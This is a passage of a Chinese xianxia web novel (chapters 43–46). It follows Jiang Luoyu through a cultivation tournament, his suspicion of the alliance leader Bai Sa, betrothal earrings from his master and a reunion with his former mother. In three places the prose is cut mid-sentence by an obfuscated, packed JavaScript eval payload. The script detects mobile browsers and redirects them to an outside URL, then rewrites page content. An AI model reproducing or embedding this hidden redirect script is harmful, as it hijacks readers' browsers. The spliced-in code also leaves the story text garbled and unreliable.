而天正宗作为千年屹立不倒,堪称铁打的前五宗门,举办过不知道多少次修真大比,今年又刚好轮到了天正宗主办修真大比。 “所以这柱子上面怎么还有龙?”姜洛玉歪着脑袋和谢子宁传音,由于周围大佬太多,他给自己身上套了一堆结界才敢开口。 天正宗的广场为了给各洲的参赛修士提供更舒适的比赛环境,特意在广场上修缮了空间阵法,让每个擂台之间的距离保持在安全距离。 他踩着白玉砖上面的金色纹路,将视线投向石台上坐在主位的丛明雪。 不过奇怪的是……丛明雪的身边居然有个空位。 谢子宁盯着熊猫眼气若游丝:“二师兄……因为这条龙要给参赛修士颁奖,一切结束后才会带着龙腾柱飞天。” 姜洛玉满脸同情地拍了拍谢子宁的肩膀:“师弟你尽力而为就好,你体内的魔气还未根除,不要逞强。” 谢子宁更加绝望了。 尘极道君站在石台正中央,又强调了一遍比赛规则里的“点到为止”。扫过下方色彩纷呈的各宗修士还有进来的散修,清了清嗓子,道:“修真大比正式开始!” “下面请各位参赛修士去龙腾柱录入信息,其他修士请退至观赛台观赛。” 姜洛玉随着人流和长老指挥去了金丹期那一堆,转着脑袋左看又看。 他来天正宗这么多年就没见过这么多外宗人,也没参加过这么大型的活动。光是其他宗门弟子的衣服就让他看花了眼,等到人群分成了四堆,四个长老又将他们领去了龙腾柱四角。 修真大比本质上是个扬名和获取资源的活动,实行单淘汰赛制,决出的前三名会有天道奖励,是修士目前最需要的天材地宝。 等到每个境界的参赛修士剩下十个或者十一个人的时候,龙腾柱就会再度为其排名,对修士的潜力重新做出评价,淘汰一批就再度变幻,直到决出前三名。 等到休息过后,龙腾柱还会放开限制,允许所有失败者挑战柱子上前十的修士,如若挑战者胜利,就会直接替换榜上修士的排名。 最重要的是,前十名会得到五大宗门的奖品——丹药、法器、天材地宝……只有想不到,没有他们拿不出来的东西。 今年五大宗庙拿出来的第一名奖品,据说是天级灵宠的蛋。 金丹参赛修士有条不紊地上前在龙腾柱上抹上鲜血,就在快轮到姜洛玉的时候,广场上出现了奇异的骚动。 有人来了。 姜洛玉朝着骚动的源头看过去,看见飞越一众修士落到石台上的男人。 男人黑发金眼,五官深邃,属于俊帅类型。身着一身白金相见的法衣,面带微笑,看起来很是和蔼可亲。和石台上众人寒暄几句后,坐到了丛明雪旁边的空位上。 两人开始交谈,似乎很是熟稔。 看清男人依旧含笑的脸,姜洛玉心里却敲响了警钟——这个人很奇怪。 但究竟是哪里奇怪,他又说不上来。 就在姜洛玉竖起耳朵,试图通过周围修士的聊天得到男人身份时,一道略显沙哑的女声在身后响起。 “道友,你不认识仙盟盟主吗?” 姜洛玉这才发现自己把心里话一不小心说出来了,转过身拱手道:“多谢道友解惑。说来惭愧,姜某只闻其人,却没见过盟主的真貌。” 仙盟,修真界最权威的势力。盟主为渡劫圆满的日赦灵君,就是刚来的那个。、 姜洛玉知道有这么个人,还知道他的事迹——什么以身渡人救 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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无相球:“不是他们把话说出来了,是我直接把他们的传音放给主人听了。我刚消化那伽前辈扔给我的法器,这个就是我复制的新功能!” 姜洛玉嘴角抽搐,面对满脸严肃的负责长老露出个笑,对着无相球夸赞道:“做的很好,下次再做。” 负责长老收到了掌门的指示,无视再度躁动的人群:“下一位!” 姜洛玉满不在乎地离开龙腾柱,旁观了身后女修的测试。 “林双鹤”三个字,从末尾一直爬到了第三的位置。 录入信息之后,就到了分组比赛的环节。 四个境界的擂台赛场地是分开的,中间隔了不知道多远。分组的方法是很传统的抽签,不过是“签”是在空中乱飞的光点,抓到同样数字的两人之间展开对决。 此次金丹期的参赛修士一共有一百七十一人,两两对决的话,也就是说有一个人会轮空。 姜洛玉抱着玄衣剑,看了一眼石台上已经不再交谈的丛明雪两人。 上面的长老一声令下,空中多了一堆拇指大小、五颜六色的光点。 一时之间众人各显神通。 他最先认识的林双鹤拿着大刀挥舞得虎虎生风,选中紫色光点之后拍开和自己争抢的修士,毫无悬念的将光点拿到手里。 头顶反光的和尚一边念着“阿弥陀佛”,一边赶走向自己身边飘过来的光点,最终选了一个飞向他眉心红痣的金色光点。 抱着琵琶的女修只是拨弄了几下琴弦,远处的蓝色光点就直直飞进了手里。 面容刚毅的少年凌空而起,看中了个头相比之下最大的青色光点,大喝一声震退他人。 还有一个穿得花枝招展地男修捋了捋头发,随意捏住身边没人要的、只有拇指一半儿大的光点拆开查看数字。 “主人快去北边,轮空的光点在那里!” 43.穿越第四十三天 “不去。” 无相球不理解:“为什么?” 姜洛玉按住剑柄:“直觉。” 无相球:“……?” 空中的光点眨眼间就消失大半,姜洛玉随口解释了句“有人在看我”,紧接着抽出玄衣剑,御风而起,飞向头顶三丈高的空中。 那里飘着个橙黄色的光点。 抽签这东西,基本上靠气运,运气好能抽到在自己实力之下的,自然能不费吹灰之力就能进阶。若是倒霉点,普通人第一轮就抽到了什么东方顺之类能越阶杀敌的天骄,又或者是两名天骄提前相遇,那必然是血流成河的场面。 被人窥视的感觉愈发强烈了,姜洛玉挥剑接住其他过来抢夺光点修士的攻击,神情不变,打了几下装作不敌,捞住一个没人要的白色光点落到地面。 “十四。” 没有轮空。 姜洛玉挑了挑眉,捏着光点化成的木签,按照长老的要求去了五号擂台准备比赛。 四周都是人,形形色色的人,他们有的衣着相似,有的长相相近。姜洛玉混在人堆里,面无表情甚至可以说冷漠地前行着,一身玄色衣衫上浮着一层淡淡的金光。 这衣服是那伽给他炼制出来的法宝,可以随心所欲变幻款式和颜色,还附带了那伽最喜欢的金色闪粉特效。 修士和他擦肩而过时,大部分人都会下意识看向他的衣服。而他和那些人对视后,想的却是如何才能更好的变幻成他们的模样。 从骨头到皮肉,从记忆到思想……但他们之间没有建立联系,他模仿不来灵魂,只能做出外在的拙劣伪装。 他不动神色地摸了把耳朵上新得来的耳饰——是丛明雪今早给他的,一对坠着青玉、金莲、明珠和红穗的耳坠。 青玉泛着灵光,金莲透着悲悯,小指大的珠子也散发着莹润的光泽,就连红穗上也流露出一股隐隐的古朴气息。 他问丛明雪送他这个做什么,丛明雪只是说他带着好看。 姜洛玉直觉这东西有什么玄妙之处,不过丛明雪那时一看就是药效发作,又要赶着去修真大比,他就没盘问。 现在一摸到手……他的心口毫无预兆地乱跳了几下。 姜洛玉回首,再度看向石台的方向。 石台高耸,隔着空间阵法他只能看见上面人群模糊的影子。能来修真大比的门派掌门人其实算不上多,修真界八洲之间隔着海,想要穿梭其间免不了要花费一番时间。 小门小派的掌门没准连维持宗门都困难,修为也参差不齐。他们大多数都会选择让门内的弟子去仙盟挂牌,交了极低的报名费过后,等到修真大比开启,到时候就能和散修一起乘坐仙盟的代步工具去五大宗门参加修真大比。 这也是仙盟对小门派的一种扶持,给小门派里的“天才”一个展示自我的机会。 仙盟、仙盟盟主、日赦灵君……白卅。 姜洛玉盯着丛明雪身旁的黑发修士,看着看着突然露出一个笑来。 那笑容灿烂却诡异至极,惹得他自从大比开始就死气沉沉的脸多了几分活气,黑眸里涌上晦暗的光。 “原来如此……” 他知道白卅到底哪里奇怪了。 “药辛,你在看你那二弟子吗?” 丛明雪冷着脸收回视线,点头后一言不发地等着白卅的后话。 白卅脸上的笑容有些僵硬,继续道:“我记得你这二徒弟才自废修为不过一年出头,重修得如此迅速……怎会在龙腾榜上排在最后一名?” 丛明雪淡淡道:“师叔,龙腾柱不会出错。” 白卅:“我当然知道。不过龙腾柱第一次排榜靠得是资质和潜力,烛山这孩子是天灵根单木灵根,按理说不应如此。可他偏偏排在了最后,修为又……” “药辛,当年参风云游托我照拂你,不过这些年你从来没麻烦过我。以你的修为,就算你这弟子经脉尽碎,也能拼起来再种个天灵根。可是有什么难处?” 丛明雪:“我该做的都做了。” 白卅:“那就是他自己做了不该做的?他这修为……不会是用丹药和天材地宝硬生生堆上来的吧?” 丛明雪:“不知道。” “你还是这般无情。”白卅唏嘘一声,金色的瞳孔里划过一丝暗光,“身为师长,可不能眼睁睁看着自己的弟子走上不归路啊。” “无情道又不是让你变成块儿石头,参风当初到底怎么教你的?怕不是修岔了。” 白卅说到最后,脸上露出惋惜的神情,颇有一种担忧晚辈前途的焦灼。 但实际上,丛明雪自认为和白卅这个“长辈”并不熟悉。 这人在他的生命里,也只是每次都恰好出现在一些微妙的时刻。比如第一次见面,是他初到天正宗的时候。 那时他刚在北洲的一个秘境里化形,就被出宗寻找突破契机的参风灵君发现,直接带回天正宗收作关门弟子。那时的白卅已经是合体修士了,和他师父算得上忘年交,见到他的时候送了见面礼。 最开始,他跟着参风灵君修过一段时间的无情道,后来参风灵君发现他神魂里居然自带一套完整地功法,便替他改成下界能用的样子让他自行修炼。 第二次见面是他一百多岁那年参加修真大比,参风灵君还未云游,他在大比上用了《天剑诀》。他清楚的记得,白卅在他使出《天剑诀》之后就消失了。 第三次是参风灵君云游之时,之后的日子他们见面很少。白卅在为了当上先盟盟主每天殚精竭虑,修炼都搁置了下去,但丛明雪还是能够收到白卅在他进阶之时送来的贺礼和信件。 等到白卅成为仙盟盟主时,他已经是化神期的修士了。再之后白卅名声大噪,成了历来最“完美”的仙盟之主,而他也在扬名后,成为了众人口中的“小盟主”。 等到他成了大乘期的道君,在修真界抵抗域外魔物的战争里大放异彩后,又和白卅并称为修真界的“双仙”。他摆脱白卅的“阴影”,是在渡劫后期时。 那时正值扶桑洲和南洲联手发动下界小规模的“仙魔大战”——本质上还是这两洲环境恶劣,陷入了修炼资源越来越少,再生速度极其缓慢的恶性循环,需要拓展版图缓解窘迫的局面。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14927466|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仙魔不两立是从根源上显现出来的,仙修和魔修狭路相逢,都会觉得彼此身上的气息散发着恶臭,甚至连在同一片阳光下呼吸都困难。 丛明雪在赶去海上战场的路上,随手杀了用小型城池修炼邪术的魔修。 不曾想,那魔修居然是扶桑洲的九大天魔之首离家出走的独子。魔首和去世的道侣只留下一个爱情结晶,发现是他杀了爱子,连仗都顾不上打,悬赏整个修真界要取他项上人头。 丛明雪自然不会坐以待毙,没等杀手找过来,直接单枪匹马直捣扶桑洲,一人一剑杀了魔首,还有他无数的部下。 群魔无首,扶桑洲动乱,南洲见原本没参与进来的栖仙、东洲也有了动作,灰溜溜地放弃盟友回了老家。也就是这次,丛明雪才摆脱了“双仙”的称呼,进阶到渡劫圆满,成为了“药辛仙尊”。 天正宗授予称号那天,白卅久违地亲临,送了他一些稀奇古怪的天材地宝。 “真的不用师叔帮忙吗?我和这孩子还挺投缘的,等到修真大比结束,我直接将他带回仙盟,” 带着关切的声音将丛明雪拉回现实,他再度摇头:“不用,多谢师叔。” 白卅:“……” “主人你发现什么了?” 姜洛玉看了眼自己第一轮的对手——是个金丹初期的男修,修为看着有些虚浮,似乎是刚突破不久。 他收回视线站在擂台下,回道:“我之前收集过白卅的消息,你猜怎么着?” 无相球:“你那时候没有恢复记忆,应该是嫉妒、愤怒然后半夜偷偷……” “停停停,什么乱七八糟的。”姜洛玉咬了咬牙,“我刚才回忆后才发现,所有人对白卅的评价都是正面的。” “我根本找不到关于他的负面消息,甚至连乘风阁关于白卅的消息都是如此。” 无相球:“……天哪。” 姜洛玉擦了擦剑柄:“没有人能获得所有人的赞誉,就算是一生行善积德的好人,都会被有些小人打上惺惺作态的‘伪善’帽子。他白卅,又凭什么能让全修真界都喜欢他?” “只有两种可能。第一,所有看他不顺眼的人都被他杀了。第二,他这个人有不为旁人知晓的秘密。” “第十四组选手上台对决!” 来了。 姜洛玉抽出玄衣剑跳上擂台,墨发玄衣在风里肆意翻飞,拱手道:“天正宗姜洛玉,请指教。” “散修曾子昂,请指教。” 话音余韵未歇,金属撞击的嗡鸣响彻在整个擂台之上。 十几招后曾子昂暗道不好,这人明明在龙腾榜上排在他后面,怎么如此难缠? 他每次挥剑下去,对方就好像能看透他的想法一样,稳稳接住他的招式,连呼吸都没乱。反观他,呼吸急促满头大汗,已经因为灵力供给不足显现出了颓势。 这下他接住了姜洛玉劈下来的长剑,垂着脑袋,使出吃奶的力气想要反击回去。 “道友,看我。” 曾子昂条件反射地抬头。 这一看,他看见了自己因为疫病死在村子的妹妹。 44.穿越第四十四天 “哥哥,你过得好吗?” 面容憨厚的青年持剑的手抖了抖,不可置信道:“小妹?!” 圆溜溜的杏眼、乱蓬蓬的发髻、打着补丁的旧衣……曾子昂很确定他的小妹已经死了,面前的应该是敌人,可一阵心悸过后,他却根本无法将“小妹”当作幻影。 但这肯定是姜洛玉的功法!他还在比赛!他不能……可这明明,就是小妹啊。 犹豫不过几瞬,但曾子昂力道的松懈以及灵气输送的不稳,足以让姜洛玉抓住机会。他模仿着刚才窥视到记忆里女孩儿的笑容,接着转动手腕,以迅雷不及掩耳之速将曾子昂挑飞下去。 “姜洛玉胜!” 看守五号擂台的化神修士宣布出结果。 龙腾柱上,曾子昂的名字消失了,而姜洛玉的名字依旧稳稳地待在最下方。 “道友,你还好吗?”姜洛玉伸出手,在曾子昂面前晃了晃。 “我……”曾子昂盯着姜洛玉的脸怔怔道,“我没事。你、我……” 他突然不知道说些什么了,视线里只有姜洛玉耳朵上乱飞的耳坠,金莲身上的金光在太阳的照射下几近透明。 小妹刚才的一颦一笑历历在目,他竟然真的将空中的幼童当作了死去的亲人。要不是姜洛玉挑他下来,他甚至都要扔下手中长剑去给她一个拥抱。 何等恐怖的功法。 就算他现在知道刚才的一切都是假的,只是姜洛玉的把戏,依旧无法对他生出厌恶。 姜洛玉眼睁睁看着曾子昂发出一声哭叫,然后手脚并用地爬起来飞奔出去。 姜洛玉:“……” 他好像已经把功法撤下去了吧? “看见了吗?” “看什么?”东方顺蹲在广场外侧的树根旁边,弹飞一只搬运食物的蚂蚁。 赵珏翻了个白眼:“几岁了还玩儿蚂蚁,不会晚上睡觉还尿裤子吧?” “屁!”东方顺吊儿郎当地站起来,法衣下的肌肉隆起恰到好处的弧度,“别跟我打哑谜,到底看什么?” 赵珏:“仙尊弟子。” 东方顺抱臂靠在树身上:“那个傻兮兮的小屁孩?” 赵珏:“不是谢子宁……另一个。” 东方顺只好老实道:“刚才没注意看。” “你是不是在玄极宗待久了,也学会拿鼻孔看人了?”赵珏忍住想揍东方顺的手,“我的好侄子,别以为自己在天骄榜排到了第一,参加修真大比就万事无忧。” 东方顺从鼻孔里发出哼气声:“别乱占我便宜。我看你是走火入魔,不过是在东方家住了几年,还真把自己当成东方家的血脉了。” “这事儿可不归我管。你就说在族谱上我和你爹是不是一个辈分?”赵珏打了个哈欠,散乱的长发随风肆意飞舞,罩住了一张带着颓丽的脸。 东方顺:“……” 他反驳不了。 赵珏作为他失踪多年二叔公的遗腹子,十三岁才被认回来,确实是他年纪最小的叔叔。那时他刚拜入玄极宗不久,成为筑基修士后回家探亲,就被告知自己多了个“叔叔”。 东方顺不解,但是传家宝认错什么都不会认错东方家的血脉,于是他就多了个被问仙岛岛主救下的小叔赵珏。 赵珏清了清嗓子:“罢了不提这个。你听说过仙尊这二弟子的事迹吗?” 东方顺认真思考了一下:“他对仙尊因爱生恨,打算强行欺师灭祖不成,不轨之心被昭告天下?” “你平时到底都关注什么消息?!”赵珏气疯了,“我说的是一年前天正宗的诏令,上面明明说他已经自废修为。可这才过了不到一年,他就算是大罗金仙转世,修为也不该在金丹后期。” 东方顺:“怎么不可能?他师父可是‘仙尊’,什么好东西没有。重修之后再顺道突破个小境界有何不可?” 赵珏:“若真是如此,那他在龙腾榜上为何还屈居最后?” 姜洛玉也不知道。 他又摸了摸耳坠,抱着玄衣剑穿过人堆,无视那些修士的窃窃私语和各异的目光,打算去练气修士的比赛场地看看谢子宁的比赛情况。 修真大比通常情况下一天只比一场,从清晨开始,谁先比完谁下场休息恢复实力,等待着第二天继续比拼。剩下的时间各个宗门还会让自家的真君、道君将道,参加大比的修士听与不听全凭自己。 若是想要论道,还有专门的场所供其交流。 说是修真大比,其实还是个交流大会。 走到地方,谢子宁刚刚从擂台上下来。 姜洛玉:“胜了?” 谢子宁点头,依旧满脸疲倦。 注意到姜洛玉耳朵上新多的耳坠,他奇怪道:“二师兄,你怎么开始戴耳坠了?” 姜洛玉:“师尊送的。” 谢子宁:“……?!” 他他他、他听见什么了??? 在太极洲送耳坠可是等于送定情信物啊!更别提……这耳坠上面的四样东西——青玉寄心、金莲避祸、明珠表贞,红穗缠情。 他知道这么多,还是因为当初他爹每个月都会送他娘一对儿耳坠。他也跟在他爹身后,把送的耳坠都有什么寓意几乎认了个遍。 青玉寄心寄得是只中意一人的真心,金莲避祸避得是万般苦楚,明珠表贞……咳咳这个意思是赠予者还未失去童贞,愿意将自己的一切交给受赠人。 红穗缠情就更权威了。它寓意着赠予者希望能和受赠人生生世世相遇、相知、相识、相爱,永不分离。 谁家师父会无缘无故给弟子送这种东西啊……这耳坠不是定情信物的话,他现在就从天正宗的后山跳下去! “有什么不妥吗?”姜洛玉蹙眉,谢子宁的眼神怎么这么奇怪? “你、你这真是……”谢子宁见姜洛玉疑惑的神情不似作伪,看了眼四周,发现没人瞧过来,“二师兄你开结界了吗?” 姜洛玉点头,有些莫名奇妙。 谢子宁这才长吁了一口气,劈里啪啦把关于耳坠的东西说了一遍。 “这样啊。”姜洛玉捏了捏耳坠,嘴角勾起个笑,“多谢师弟提醒了。” 他就说今早丛明雪怎么突然消失大半天带回了这么个东西,看见他没有耳洞,还缠着非让他把耳坠用法术挂在耳朵上,原来竟然是这个意思。 真是欺负他这些年没出过天正宗,不怎么关注这些事情。 谢子宁:“……?” 姜洛玉感慨道:“既然你发现了,就直接告诉你吧。” “我和师尊要结为道侣了。” 谢子宁:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14932693|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……?!!” 姜洛玉:“我们打算宴请几个亲朋好友先结契,至于其他的等我修为上去了再说。” 谢子宁:“哈哈……一定是幻觉,我一定是没睡醒。凝星前辈的药劲儿太大了我得缓缓……” “噗通”,谢子宁倒在了地上。 姜洛玉拽了一把没拽起来,仔细观察之后才发现原来谢子宁的皮肤上多了一堆毛刺,死死地扒在玉砖里。 缕缕药香在谢子宁倒下去之后飘出来,他恍然大悟,谢子宁现在应该是祛除魔气汤药的副作用。 凝星医术虽强,熬制的汤药却多少都会有一些无伤大雅的小毛病。 姜洛玉等到药香散去些,直接拎着谢子宁赶路回落雪峰,临走前深深地看了一眼石台上的白衣身影。 以及坐在石台下方的迦南月。 “阿嚏——”迦南月借着衣袖遮掩,小小地打了个喷嚏。 “宗主,好像又有人在看您。”洛魁站在迦南月身边再度提醒着,却依旧没能找到目光的源头。 迦南月摸了摸新染的指甲:“我知道,还是那个小朋友。” 洛魁套了一层结界,屏蔽外界的视线:“究竟是哪个小朋友,宗主为何不肯告诉洛魁?” 迦南月:“你知道那么多有什么用?总归他的眼光不像其他人恨不得把我活扒了,倒是……有点像你那天抱回来的狗崽的眼神。” “对了,处理好这个月找上门的修士没呢?” 洛魁:“回宗主,那不是狗,是吞天狼的幼崽。那些修士也全都灌了忘情水送回各自的宗门,您新找来的易容术和幻形功法也都给众弟子分发下去了。” “这批幻形法术破解难度大大增加,预计近期不会再出现某个弟子被老情人抓回去,导致修为停滞、道心破碎的事情出现。” 迦南月:“好,做得不错。你在这儿待着,我去找小朋友玩一会儿。” 洛魁:“……是,宗主。” 其实宗主是嫌弃这地方不好玩吧。 也是,一堆老古板。 要不是合欢宗有护宗法宝,估计早就被这群道貌岸然的家伙分食了。 这边赶路赶到一半儿的姜洛玉停下脚步,坐在七宝莲台上发问:“不知是哪位前辈?若是有事找晚辈,可否现出真身一叙?” “怪聪明的,这么快就发现我了。”迦南月落到七宝莲台上,拍了拍上面的莲子,“你这法宝不错,送我?” “这……”姜洛玉声音变得嘶哑,“怕是不行。” 迦南月绿眸发亮:“为何不可?这东西虽是极品,却只适合金丹修士使用,还没有进一步炼化的空间。” “你把它送给我,我还能还你个更好的。” 姜洛玉摇头:“前辈……这是我的本命法宝。” “你不是剑修吗?”迦南月错愕道,“你用的那把长剑的气息分明和你血脉相连,反倒是这莲台和你的气息联系淡薄。” 姜洛玉压下翻涌的情绪:“前辈再问下去,我可要怀疑您是对手派过来打探消息的人了。” 迦南月:“我长得这么像坏人吗?” 姜洛玉认真地打量了一遍迦南月,连头发丝儿也没放过。 “您……长得像我一位故人。”他说。 像他早逝的娘。 45.穿越第四十五天 “故人?” 姜洛玉没有回话,因为他不确定自己说出来会不会被雷劈。神仙渡劫的时候理论上是不能在正主面前提及过去的,谁提了就是破坏规则。 没有遮掩对话的东西,到时候天雷劈下来,谁也别想好过。 就像当初他在落雪峰和丛明雪提及仙界的事,天雷直接把他劈落了两个小境界,更是直接把丛明雪劈得失去了谈话的关键记忆。 他现在能和丛明雪畅通无阻地交谈之前的事,还是因为丛明雪自己冲破禁锢恢复记忆。他们两个又命格相缠,几乎能看作同一人,才让他们钻了空子。 “境主,您想和迦南月相认吗?” 离昼的声音顺着三清玉佩直接灌进了脑子里。 “算了,我和她这辈子又没什么关系。”姜洛玉给脸贴在莲子上的谢子宁换了个姿势,“我知道她这辈子过得不错,也就了却一桩心事了。” 昨天他知晓迦南月的真实身份后,他立马飞了一趟乘风阁,把关于迦南月的消息都买了回来。 迦南月作为被合欢宗已经羽化的老宗主捡回来的婴孩,老宗主见其天生媚骨,十分适合继承自己衣钵,于是收徒当作下一任宗主来培养。 不负老宗主的期望,长大之后的迦南月长相姝丽无双,一颦一笑勾魂摄魄,很快就游走在那一代的天骄之间,秉持着绝不脚踏多条船的原则,和那些男男女女之间展开了一段又一段“旷世绝恋”。 有的是真心相爱,有的是逢场作戏,单纯维持修炼的关系。 迦南月因为修炼功法的缘故,就算动心也不会长久的心系一人。所以当一段感情结束,对方又纠缠不休时,她就会哄骗对方喝下合欢宗秘制忘情水。 忘情水下肚,再怎么爱也会忘得一干二净。 “有道侣了吗?” 迦南月见对面的青年沉默不语,表情复杂又带着一丝伤感。知道自己可能是问到了人家的伤心处,只好生硬地将对话转移到他耳上冒着灵光的耳坠上。 这种款式类似的耳饰她收到过不知道多少,一眼就能看出来这东西上面掺杂了别的东西。 比如……赠予者的一点情丝。 姜洛玉:“快有了。” 迦南月:“这耳坠就是那人送你的?还挺别致。” 姜洛玉:“嗯。” 迦南月这才想起来问:“你是谁家弟子?” “我是……”姜洛玉话说一半儿,身侧就多了一道白衣身影。 丛明雪恭敬行礼:“见过风止师叔。” 迦南月“咦”了一声,视线在两人之间转了转,托着下巴玩味道:“药辛,你一个无情道修士,怎么还送上耳坠了?” 刚刚恢复意识的谢子宁:“……” 醒早了。 丛明雪:“……” 姜洛玉:“……?!” 迦南月靠在莲子上打了个哈欠:“我与参风熟识多年,也不算外人。他离开前还托我多关照一下你的感情上的私事,毕竟你修的道轻易动不得情,谁也不知道动情对你来说会出现什么后果。” “所以……”她猛地飘移到两人身边转了几圈,“你现在是什么感觉?” “有没有道心破碎的前兆?或是走火入魔的冲动?” 丛明雪:“……都没有。” 姜洛玉无视爬出七宝莲台的谢子宁,发出疑问:“灵君,您怎么看出来送耳坠的……是我师尊?” 这下轮到迦南月震惊了,她指着丛明雪:“这是你徒弟?” 丛明雪:“二弟子姜洛玉。” 姜洛玉顺势行礼道:“晚辈姜洛玉,见过风止灵君。” 姜、洛、玉。 这三个字平静地砸了过来,砸得迦南月神魂震颤。这是她第一次听见这个名字,却又似乎已经将它反复默念了千百遍。 她眼前浮现出一个还没有她手臂长的婴孩。 婴孩生得雨雪可爱,胎发是浅浅的棕色,有着一双澄澈如湖水的绿眼。 她抱着婴孩,哼着格外悠远的歌谣,直到婴孩对着自己露出单纯的笑。 他们骨血相连。 “玉儿。” 脑中凭空出现的声音和现实的话语重叠,迦南月美眸浸水,一把抓住姜洛玉的手臂:“你是……玉儿?我、我……” 姜洛玉的手臂僵在半空,和迦南月对视之后大脑一片空白。 这怎么又一个恢复记忆的? 但这种情况,渡劫本人能说记忆,外人依旧说不得。 “此地不是说话的地方。”丛明雪打断两人,“请师叔先随我二人回落雪峰。” 三人很快就到了落雪峰顶部。 姜洛玉抓着三清玉佩开始摇人,不多时,三清秘境里六人全都出现在洞府外的松树下。 何在夕一眼看见迦南月,“哎呦”一声:“这……” 迦南月瞪了过去:“原来是念卿啊。不过,怎么几千年不见连神格都没了?” 轰隆的雷声响彻在落雪峰顶。 离昼熟练地拿出积攒的护心鳞,又收了其他人的身体部位开展禁术。 何在夕背着药箱满脸平静:“彼此彼此,大家都一样。” 迦南月无法反驳,因为她本应该藏在神魂深处的神格,真的没了。 眼看着落雪峰顶熟人开会,姜洛玉看了眼阴沉的天色,决定把众人带回三清秘境从长计议。 而且在他的调控下,三清秘境的时间流速可以比外界慢上一半儿,更适合叙旧了。 众人直接去了浮空殿,禁术的结界将浮空殿包裹得严严实实。 姜洛玉刚摆好桌椅,一阵香风袭来,他就被比他还要高上半头的女人紧紧抱住。 迦南月眼眶微红,边拍背边感慨道:“都长这么大了啊。” 想当初她在姜国郁郁而终时,姜洛玉才刚满一岁。肉乎乎的孩子每天满地乱爬,看管的嬷嬷根本抱不住,最后多半都会爬到她面前,再伸手要抱。 可惜她那一世注定早亡。 “……娘。”姜洛玉终于喊出了那个练习过无数遍的称呼,回抱住迦南月。 认亲环节结束,接下来是喜闻乐见的捋顺关系以及复盘环节。 由于弄清楚姜洛玉第二世的母亲居然是迦南月,两人之间牵上了一条亲缘因果线,那么一些关于神界的事情是能让他知道的。 迦南月,道号风止,本是神界的风止神君,又称风止神女,也是欲神的部下。 神界神主之下为神族,神族之下又为神君,神君之下为仙神。 神族乃天 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姜洛玉用无相球捏出一堆蹦蹦跳跳的小人,让它们扮演成流水线的工人。 这个世界的神真的是神么? 那些神们没日没夜地重复着相同的工作,几乎所有人都在努力朝神靠近。可就算是当了神,似乎也并未得到真正的逍遥自在。 拘于一方天地,不死不灭依旧陷入轮回之间。 这些都是成神之前不知道的东西,他阴差阳错提前知晓,于是曾经渴望着极致力量和权柄的心动摇了。 “想太多会被心魔钻空子。”迦南月注意到姜洛玉眼神的变化,“天地为法则所显,所有人在踏上修仙道路的那一天,都在心底种下了一颗渴望长生的种子。” “那些话本子里写的神仙不能动情,我是不知道别的地方如何,在此界就是实打实的放屁。” 姜洛玉丢掉脑子里乱七八糟的想法,开始看着众人复盘。 被窃取神格的成员喜加一,迦南月把在上界感受到自己该应劫,到跳下转生池都说了个遍。她根本没感受到一点不对劲儿,反正再恢复意识就直接出现在姜洛玉的七宝莲台上了。 整合了渡劫记忆,她才感知到对面的青年是自己渡劫第一世的孩子。 又是毫无幕后黑手线索的一天。 “不能轻举妄动。”姜洛玉满脸认真,“那人既然敢做,就一定备好了万全之策。渡劫的话从转生池估计是回不去,大概只能重新飞升。” 迦南月:“现如今真飞升倒是容易,毕竟大家都有经验。关键在于……有命飞,能不能有命在仙界活下去。” 姜洛玉:“在下界就一定能活吗?” 丛明雪借着长桌遮掩,在下面悄悄握住了姜洛玉的手,问道:“此话怎讲?” “你们难道没人觉得白卅很奇怪吗?” 姜洛玉用手比划了一寸的长度:“我从乘风阁那儿买了那么多关于白卅的消息,一条负面的都没得到,就是问一嘴路边的狗,估计那狗都要点头说好。” 除了丛明雪和迦南月的几人异口同声:“白卅是谁?” 姜洛玉:“……” 46.穿越第四十六天 “当今仙盟盟主。”丛明雪解释道。 迦南月剥了一颗荔枝放到姜洛玉面前的盘子里,似有所悟:“玉儿说的……我之前倒是没发现过。” “我这记忆也恢复的蹊跷,见了玉儿才神魂震颤,不知和他三清之气的身份有何关系。” 何止是迦南月没发现,丛明雪皱着眉将脑中关于白卅的记忆翻了个遍,突然发现就连自己也从未对白卅的那些事迹生出过怀疑之心。 白卅从一介散修到如今的仙盟盟主,年少时惩恶扬善、救死扶伤,成了先盟盟主后更是把仙盟在修真界的作用发挥到极致,仙盟的声望甚至盖过了五大宗门。 八洲的修士、凡人、妖魔提到仙盟全都赞不绝口,提到白卅更是……丛明雪脑中一阵恍惚,顿疼从后脑一直蔓延到了下巴。 “阿雪!”姜洛玉刚接住倒下的丛明雪,又分出一条胳膊接住了迦南月。 两人恰好坐在他两侧的椅子上,这么一晕就将他夹在了中间。 姜洛玉被压得肩膀似乎着了火,忍着灼烧疼痛喊道:“星姨你快过来,念卿神君你也来帮忙啊!” 